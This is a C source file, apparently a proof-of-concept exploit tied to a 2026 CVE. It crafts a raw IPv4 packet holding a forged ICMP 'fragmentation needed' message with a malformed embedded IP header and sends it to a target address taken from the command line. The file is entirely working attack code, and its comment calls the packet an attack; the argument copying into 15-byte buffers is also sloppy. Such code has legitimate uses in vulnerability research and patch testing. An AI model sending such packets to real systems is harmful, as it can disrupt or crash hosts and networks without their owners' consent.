cve-2026-23398/frag.c
2026-05-29 09:43:11 +02:00

108 lines
2.8 KiB
C

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define PACKET_SIZE 128
#define PAYLOAD_DATA 8
static unsigned short csum(unsigned short *buf, int nwords) {
unsigned long sum = 0;
while (nwords > 0) {
sum += *buf++;
nwords--;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
int main(int argc, char *argv[]) {
int sock = 0;
if (argc < 3)
exit(1);
char ipsrc[15];
char ipdst[15];
memcpy(ipsrc, argv[1], 15);
memcpy(ipdst, argv[2], 15);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return 1;
}
int one = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(int)) < 0) {
perror("setsockopt");
return 1;
}
unsigned char packet[PACKET_SIZE];
memset(packet, 0, PACKET_SIZE);
struct iphdr *ip = (struct iphdr *)packet;
struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
struct sockaddr_in dst = {0};
dst.sin_family = AF_INET;
inet_pton(AF_INET, ipdst, &dst.sin_addr);
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 28);
ip->id = htons(1);
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = IPPROTO_ICMP;
ip->saddr = inet_addr(ipsrc);
ip->daddr = dst.sin_addr.s_addr;
ip->check = csum((unsigned short *)ip, sizeof(struct iphdr) / 2);
/* To perform the attack, we need to set these two values */
icmp->type = ICMP_DEST_UNREACH;
icmp->code = ICMP_FRAG_NEEDED;
icmp->un.gateway = 0;
/* We construct the payload for the ICMP */
unsigned char *payload = packet + sizeof(struct iphdr) + sizeof(struct icmphdr);
struct iphdr payload_ip;
memset(&payload_ip, 0, sizeof(payload_ip));
payload_ip.version = 4;
payload_ip.ihl = 5;
payload_ip.tos = 0;
payload_ip.tot_len = htons(60);
payload_ip.id = htons(1);
payload_ip.ttl = 64;
payload_ip.protocol = 0;
payload_ip.saddr = inet_addr(ipsrc);
payload_ip.daddr = inet_addr(ipdst);
/* We copy our IP header into the ICMP payload and our data */
memcpy(payload, &payload_ip, sizeof(payload_ip));
memset(payload + sizeof(payload_ip), 0x41, PAYLOAD_DATA);
int icmp_len = sizeof(struct icmphdr) + sizeof(payload_ip) + PAYLOAD_DATA;
icmp->checksum = 0;
icmp->checksum = csum((unsigned short *)icmp, (icmp_len + 1) / 2);
int total_len = sizeof(struct iphdr) + icmp_len;
if (sendto(sock, packet, total_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
perror("sendto");
return 1;
}
close(sock);
return 0;
}